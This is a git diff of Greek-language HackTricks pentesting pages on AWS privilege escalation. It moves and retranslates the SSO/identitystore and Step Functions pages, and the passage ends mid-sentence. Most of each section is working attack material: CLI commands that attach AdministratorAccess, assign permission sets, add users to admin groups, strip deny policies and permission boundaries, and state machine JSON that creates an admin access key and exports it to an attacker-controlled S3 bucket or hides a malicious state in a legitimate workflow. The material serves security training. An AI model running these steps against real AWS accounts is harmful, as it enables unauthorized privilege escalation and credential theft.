`sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να παραχωρήσει επιπλέον άδειες σε ένα Permission Set που έχει παραχωρηθεί σε έναν χρήστη υπό τον έλεγχό του. - -> [!WARNING] -> Για να εκμεταλλευτείτε αυτές τις άδειες σε αυτή την περίπτωση, πρέπει να γνωρίζετε το **όνομα μιας πολιτικής διαχείρισης πελατών που βρίσκεται σε ΟΛΟΥΣ τους λογαριασμούς** που θα επηρεαστούν. -```bash -# Set AdministratorAccess policy to the permission set -aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference - -# Update the provisioning so the new policy is created in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### `sso:CreateAccountAssignment` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να δώσει ένα Permission Set σε έναν χρήστη υπό τον έλεγχό του σε έναν λογαριασμό. -```bash -aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id -``` -### `sso:GetRoleCredentials` - -Επιστρέφει τα βραχυπρόθεσμα διαπιστευτήρια STS για ένα συγκεκριμένο όνομα ρόλου που έχει ανατεθεί στον χρήστη. -``` -aws sso get-role-credentials --role-name --account-id --access-token -``` -Ωστόσο, χρειάζεστε ένα access token που δεν είμαι σίγουρος πώς να αποκτήσετε (TODO). - -### `sso:DetachManagedPolicyFromPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να αφαιρέσει τη σύνδεση μεταξύ μιας διαχειριζόμενης πολιτικής AWS από το συγκεκριμένο σύνολο αδειών. Είναι δυνατόν να παραχωρηθούν περισσότερες άδειες μέσω **αφαίρεσης μιας διαχειριζόμενης πολιτικής (πολιτική άρνησης)**. -```bash -aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn -``` -### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να αφαιρέσει τη σύνδεση μεταξύ μιας πολιτικής που διαχειρίζεται ο πελάτης από το συγκεκριμένο σύνολο αδειών. Είναι δυνατόν να παραχωρηθούν περισσότερα προνόμια μέσω της **αφαίρεσης μιας διαχειριζόμενης πολιτικής (πολιτική άρνησης)**. -```bash -aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference -``` -### `sso:DeleteInlinePolicyFromPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να αφαιρέσει τις άδειες από μια inline policy από το permission set. Είναι δυνατόν να παραχωρηθούν **περισσότερες άδειες αποσυνδέοντας μια inline policy (deny policy)**. -```bash -aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn -``` -### `sso:DeletePermissionBoundaryFromPermissionSet` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να αφαιρέσει το Permission Boundary από το σύνολο αδειών. Είναι δυνατόν να παραχωρηθούν **περισσότερες άδειες αφαιρώντας τους περιορισμούς στο Permission Set** που δίνονται από το Permission Boundary. -```bash -aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md new file mode 100644 index 000000000..1f28e54d3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -0,0 +1,112 @@ +# AWS - SSO & identitystore Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Identity Center / AWS SSO + +Για περισσότερες πληροφορίες σχετικά με AWS Identity Center / AWS SSO δείτε: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +> [!WARNING] +> Σημειώστε ότι κατά **default**, μόνο οι **users** με δικαιώματα **form** τον **Management Account** θα μπορούν να έχουν πρόσβαση και να **control το IAM Identity Center**.\ +> Οι χρήστες από άλλους λογαριασμούς μπορούν να το επιτρέψουν μόνο εάν ο λογαριασμός είναι **Delegated Adminstrator.**\ +> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) + +### ~~Επαναφορά Κωδικού~~ + +Ένας εύκολος τρόπος για να αυξήσει κανείς τα προνόμια σε τέτοιες περιπτώσεις θα ήταν να έχει ένα δικαίωμα που επιτρέπει την επαναφορά των κωδικών των χρηστών. Δυστυχώς, είναι μόνο δυνατό να σταλεί ένα email στον χρήστη για να επαναφέρει τον κωδικό του, οπότε θα χρειαστείτε πρόσβαση στο email του χρήστη. + +### `identitystore:CreateGroupMembership` + +Με αυτό το permission είναι δυνατό να τοποθετήσεις έναν χρήστη μέσα σε μια ομάδα ώστε να κληρονομήσει όλα τα δικαιώματα που έχει η ομάδα. +```bash +aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= +``` +### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε χρήστη υπό τον έλεγχό του +```bash +# Set an inline policy with admin privileges +aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml + +# Content of /tmp/policy.yaml +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] +} + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει εκχωρηθεί σε χρήστη υπό τον έλεγχό του. +```bash +# Set AdministratorAccess policy to the permission set +aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` + +Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει δοθεί σε έναν χρήστη υπό τον έλεγχό του. + +> [!WARNING] +> Για να καταχραστείτε αυτές τις άδειες σε αυτή την περίπτωση χρειάζεται να γνωρίζετε το **όνομα μιας customer managed policy που υπάρχει σε ΟΛΟΥΣ τους λογαριασμούς** που πρόκειται να επηρεαστούν. +```bash +# Set AdministratorAccess policy to the permission set +aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:CreateAccountAssignment` + +Ένας attacker με αυτήν την άδεια θα μπορούσε να εκχωρήσει ένα Permission Set σε έναν user που ελέγχει για ένα account. +```bash +aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id +``` +### `sso:GetRoleCredentials` + +Επιστρέφει τα βραχυχρόνια διαπιστευτήρια STS για ένα δεδομένο όνομα ρόλου που έχει ανατεθεί στον χρήστη. +``` +aws sso get-role-credentials --role-name --account-id --access-token +``` +Ωστόσο, χρειάζεσαι ένα access token που δεν είμαι σίγουρος πώς να το αποκτήσω (TODO). + +### `sso:DetachManagedPolicyFromPermissionSet` + +Ένας attacker με αυτή την permission μπορεί να αφαιρέσει τη συσχέτιση ενός AWS managed policy από το συγκεκριμένο permission set. Μπορεί να παραχωρηθούν περισσότερα privileges μέσω **detaching a managed policy (deny policy)**. +```bash +aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn +``` +### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` + +Ένας attacker που έχει αυτό το permission μπορεί να αφαιρέσει τη σύνδεση ενός Customer managed policy από το συγκεκριμένο permission set. Είναι δυνατή η παροχή περισσότερων προνομίων μέσω του **detaching a managed policy (deny policy)**. +```bash +aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference +``` +### `sso:DeleteInlinePolicyFromPermissionSet` + +Ένας attacker με αυτή την άδεια μπορεί να αφαιρέσει τις permissions από ένα inline policy από το permission set. Είναι δυνατό να χορηγηθούν **more privileges via detaching an inline policy (deny policy)**. +```bash +aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn +``` +### `sso:DeletePermissionBoundaryFromPermissionSet` + +Ένας attacker με αυτήν την άδεια μπορεί να αφαιρέσει το Permission Boundary από το Permission Set. Είναι δυνατό να χορηγηθούν **περισσότερα προνόμια αφαιρώντας τους περιορισμούς στο Permission Set** που επιβάλλονται από το Permission Boundary. +```bash +aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index 4eded8a6f..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, ελέγξτε: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Task Resources - -Αυτές οι τεχνικές εκμετάλλευσης προνομίων θα απαιτήσουν τη χρήση ορισμένων πόρων AWS step function προκειμένου να εκτελέσουν τις επιθυμητές ενέργειες εκμετάλλευσης προνομίων. - -Για να ελέγξετε όλες τις πιθανές ενέργειες, μπορείτε να μεταβείτε στον δικό σας λογαριασμό AWS, να επιλέξετε την ενέργεια που θα θέλατε να χρησιμοποιήσετε και να δείτε τις παραμέτρους που χρησιμοποιεί, όπως στο: - -
- -Ή μπορείτε επίσης να μεταβείτε στην τεκμηρίωση API AWS και να ελέγξετε τα έγγραφα κάθε ενέργειας: - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -Ένας επιτιθέμενος με τα δικαιώματα **`states:TestState`** & **`iam:PassRole`** μπορεί να δοκιμάσει οποιαδήποτε κατάσταση και να περάσει οποιονδήποτε ρόλο IAM σε αυτήν χωρίς να δημιουργήσει ή να ενημερώσει μια υπάρχουσα μηχανή κατάστασης, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τα δικαιώματα των ρόλων. Συνδυασμένα, αυτά τα δικαιώματα μπορούν να οδηγήσουν σε εκτενείς μη εξουσιοδοτημένες ενέργειες, από την παραποίηση ροών εργασίας για την τροποποίηση δεδομένων έως παραβιάσεις δεδομένων, παραποίηση πόρων και εκμετάλλευση προνομίων. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -Τα παρακάτω παραδείγματα δείχνουν πώς να δοκιμάσετε μια κατάσταση που δημιουργεί ένα access key για τον χρήστη **`admin`** εκμεταλλευόμενοι αυτές τις άδειες και έναν επιτρεπτικό ρόλο του περιβάλλοντος AWS. Αυτός ο επιτρεπτικός ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στην κατάσταση να εκτελεί την ενέργεια **`iam:CreateAccessKey`**: - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Εντολή** που εκτελέστηκε για να πραγματοποιηθεί η εκμετάλλευση δικαιωμάτων: -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη εκτέλεση και χειρισμός ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που μπορεί να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -Ένας επιτιθέμενος με τα **`states:CreateStateMachine`**& **`iam:PassRole`** θα μπορούσε να δημιουργήσει μια μηχανή κατάστασης και να της παρέχει οποιονδήποτε ρόλο IAM, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τις άδειες του ρόλου. Σε αντίθεση με την προηγούμενη τεχνική privesc (**`states:TestState`** & **`iam:PassRole`**), αυτή δεν εκτελείται από μόνη της, θα χρειαστεί επίσης να έχετε τις άδειες **`states:StartExecution`** ή **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **δεν είναι διαθέσιμη για τυπικές ροές εργασίας**, **μόνο για εκφρασμένες μηχανές καταστάσεων**) προκειμένου να ξεκινήσετε και να εκτελέσετε τη μηχανή κατάστασης. -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -Τα παρακάτω παραδείγματα δείχνουν πώς να δημιουργήσετε μια μηχανή κατάστασης που δημιουργεί ένα access key για τον χρήστη **`admin`** και εξάγει αυτό το access key σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο, εκμεταλλευόμενος αυτές τις άδειες και έναν επιεική ρόλο του περιβάλλοντος AWS. Αυτός ο επιεικής ρόλος θα πρέπει να έχει οποιαδήποτε πολιτική υψηλών προνομίων συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στη μηχανή κατάστασης να εκτελεί τις ενέργειες **`iam:CreateAccessKey`** & **`s3:putObject`**. - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Εντολή** που εκτελέστηκε για **να δημιουργήσει τη μηχανή κατάστασης**: -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- **Εντολή** που εκτελέστηκε για **να ξεκινήσει μια εκτέλεση** της προηγουμένως δημιουργημένης μηχανής καταστάσεων: -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> Ο S3 κάδος που ελέγχεται από τον επιτιθέμενο θα πρέπει να έχει άδειες για να αποδέχεται μια ενέργεια s3:PutObject από τον λογαριασμό του θύματος. - -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη εκτέλεση και χειρισμός ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που μπορεί να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας. - -### `states:UpdateStateMachine` & (όχι πάντα απαραίτητο) `iam:PassRole` - -Ένας επιτιθέμενος με την άδεια **`states:UpdateStateMachine`** θα μπορούσε να τροποποιήσει τον ορισμό μιας μηχανής καταστάσεων, προσθέτοντας επιπλέον κρυφές καταστάσεις που θα μπορούσαν να καταλήξουν σε κλιμάκωση προνομίων. Έτσι, όταν ένας νόμιμος χρήστης ξεκινά μια εκτέλεση της μηχανής καταστάσεων, αυτή η νέα κακόβουλη κρυφή κατάσταση θα εκτελείται και η κλιμάκωση προνομίων θα είναι επιτυχής. - -Ανάλογα με το πόσο επιτρεπτικός είναι ο IAM Ρόλος που σχετίζεται με τη μηχανή καταστάσεων, ένας επιτιθέμενος θα αντιμετωπίσει 2 καταστάσεις: - -1. **Επιτρεπτικός IAM Ρόλος**: Εάν ο IAM Ρόλος που σχετίζεται με τη μηχανή καταστάσεων είναι ήδη επιτρεπτικός (έχει για παράδειγμα την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`** συνημμένη), τότε η άδεια **`iam:PassRole`** δεν θα απαιτείται για να κλιμακωθούν τα προνόμια, καθώς δεν θα είναι απαραίτητο να ενημερωθεί και ο IAM Ρόλος, με τον ορισμό της μηχανής καταστάσεων να είναι αρκετός. -2. **Μη επιτρεπτικός IAM Ρόλος**: Σε αντίθεση με την προηγούμενη περίπτωση, εδώ ένας επιτιθέμενος θα απαιτήσει επίσης την άδεια **`iam:PassRole`** καθώς θα είναι απαραίτητο να συσχετιστεί ένας επιτρεπτικός IAM Ρόλος με τη μηχανή καταστάσεων εκτός από την τροποποίηση του ορισμού της μηχανής καταστάσεων. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -Τα παρακάτω παραδείγματα δείχνουν πώς να ενημερώσετε μια νόμιμη μηχανή καταστάσεων που απλώς καλεί μια συνάρτηση Lambda HelloWorld, προκειμένου να προσθέσετε μια επιπλέον κατάσταση που προσθέτει τον χρήστη **`unprivilegedUser`** στην ομάδα IAM **`administrator`**. Με αυτόν τον τρόπο, όταν ένας νόμιμος χρήστης ξεκινά μια εκτέλεση της ενημερωμένης μηχανής καταστάσεων, αυτή η νέα κακόβουλη κρυφή κατάσταση θα εκτελείται και η κλιμάκωση προνομίων θα είναι επιτυχής. - -> [!WARNING] -> Εάν η μηχανή καταστάσεων δεν έχει συσχετισμένο έναν επιτρεπτικό ρόλο IAM, θα απαιτείται επίσης η άδεια **`iam:PassRole`** για να ενημερώσετε τον ρόλο IAM προκειμένου να συσχετίσετε έναν επιτρεπτικό ρόλο IAM (για παράδειγμα, έναν με την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`** συνημμένη). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="Κακόβουλη Ενημερωμένη Μηχανή Καταστάσεων" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **Εντολή** που εκτελέστηκε για **να ενημερώσει** **τη νόμιμη μηχανή κατάστασης**: -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη εκτέλεση και χειρισμός ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που μπορεί να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..1193c5609 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, δείτε: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Task Resources + +Αυτές οι privilege escalation τεχνικές θα απαιτήσουν τη χρήση ορισμένων AWS Step Functions resources για να εκτελεστούν οι επιθυμητές privilege escalation ενέργειες. + +Για να ελέγξετε όλες τις πιθανές ενέργειες, μπορείτε να μπείτε στον δικό σας AWS account, να επιλέξετε την ενέργεια που θέλετε να χρησιμοποιήσετε και να δείτε τις παραμέτρους που χρησιμοποιεί, όπως στο: + +
+ +Ή μπορείτε επίσης να μεταβείτε στην τεκμηρίωση API του AWS και να ελέγξετε τα docs κάθε action: + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +Ένας attacker με τα **`states:TestState`** & **`iam:PassRole`** permissions μπορεί να δοκιμάσει οποιοδήποτε state και να περάσει οποιοδήποτε IAM role σε αυτό χωρίς να δημιουργήσει ή να ενημερώσει κάποιο υπάρχον state machine, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες AWS υπηρεσίες με τα δικαιώματα των roles. Σε συνδυασμό, αυτά τα permissions μπορούν να οδηγήσουν σε εκτεταμένες μη εξουσιοδοτημένες ενέργειες, από την τροποποίηση workflows και την αλλαγή δεδομένων μέχρι παραβιάσεις δεδομένων, χειρισμό πόρων και privilege escalation. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +Τα παρακάτω παραδείγματα δείχνουν πώς να δοκιμάσετε ένα state που δημιουργεί ένα access key για τον χρήστη **`admin`** αξιοποιώντας αυτές τις άδειες και έναν χαλαρό ρόλο στο περιβάλλον AWS. Αυτός ο χαλαρός ρόλος πρέπει να έχει κάποια policy με υψηλά προνόμια συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στο state να εκτελέσει την ενέργεια **`iam:CreateAccessKey`**: + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **Εντολή** που εκτελέστηκε για να πραγματοποιηθεί το privesc: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη εκτέλεση και χειραγώγηση των workflows και πρόσβαση σε ευαίσθητους πόρους, ενδεχομένως οδηγώντας σε σημαντικές παραβιάσεις ασφαλείας. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +Ένας επιτιθέμενος με τα δικαιώματα **`states:CreateStateMachine`** & **`iam:PassRole`** θα μπορούσε να δημιουργήσει ένα state machine και να του αναθέσει οποιοδήποτε IAM role, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες AWS υπηρεσίες με τα δικαιώματα του role. Σε αντίθεση με την προηγούμενη privesc τεχνική (**`states:TestState`** & **`iam:PassRole`**), αυτή δεν εκτελείται από μόνη της — θα χρειαστεί επίσης να έχετε τα δικαιώματα **`states:StartExecution`** ή **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **δεν είναι διαθέσιμο για standard workflows**, **μόνο για express state machines**) προκειμένου να ξεκινήσετε μια εκτέλεση στο state machine. +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +Τα παρακάτω παραδείγματα δείχνουν πώς να δημιουργήσετε ένα state machine που δημιουργεί ένα access key για τον χρήστη **`admin`** και εξάγει αυτό το access key σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο, αξιοποιώντας αυτά τα permissions και έναν permissive role του AWS περιβάλλοντος. Αυτός ο permissive role θα πρέπει να έχει κάποια high-privileged policy συσχετισμένη με αυτόν (για παράδειγμα **`arn:aws:iam::aws:policy/AdministratorAccess`**) που επιτρέπει στο state machine να εκτελέσει τις ενέργειες **`iam:CreateAccessKey`** & **`s3:putObject`**. + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Εντολή** που εκτελέστηκε για να **δημιουργηθεί η μηχανή καταστάσεων**: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- **Εντολή** που εκτελέστηκε για να **ξεκινήσει μια εκτέλεση** της προηγουμένως δημιουργημένης state machine: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> Ο S3 